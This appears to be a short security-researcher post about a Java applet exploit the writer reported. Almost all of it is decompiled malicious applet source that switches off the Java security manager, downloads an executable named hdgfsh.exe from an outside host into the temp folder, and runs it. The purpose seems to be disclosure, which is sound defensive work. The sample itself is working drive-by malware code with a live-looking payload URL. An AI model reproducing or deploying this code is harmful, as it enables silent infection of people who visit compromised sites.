I reported sites using this exploit on July 10th. What I didn't provide was a mirror of the JAR file with the malicious code inside.
Here's a sample:
public class ggtull extends Applet
{
public void start()
{
super.start();
try
{
downloadFILE();
}
catch(Exception exception) { }
}
public ggtull()
{
String s = "setSecurityManager";
HashSet hashset = new HashSet();
Expression expression = new Expression(java/lang/System, s, new Object[1]);
hashset.add(new upccqt(java/lang/System, s, new Object[1]));
JList jlist = new JList(new Object[] {
new wjkxxobsfj(this, hashset)
});
add(jlist);
}
public static void downloadFILE()
{
try
{
String s = (new StringBuilder()).append(System.getProperty("java.io.tmpdir")).append("hdgfsh.exe").toString();
URL url = new URL("http://asancho.info/?735b218b16d6cdb8d86b4fab8e98082a");
url.openConnection();
InputStream inputstream = url.openStream();
FileOutputStream fileoutputstream = new FileOutputStream(s);
byte abyte0[] = new byte[8192];
for(int i = 0; (i = inputstream.read(abyte0, 0, abyte0.length)) != -1;)
{
fileoutputstream.write(abyte0, 0, i);
}
inputstream.close();
fileoutputstream.close();
try
{
Runtime runtime = Runtime.getRuntime();
runtime.exec(new String[] {
s
});
}
catch(Exception exception1) { }
}
catch(Exception exception) { }
}
}
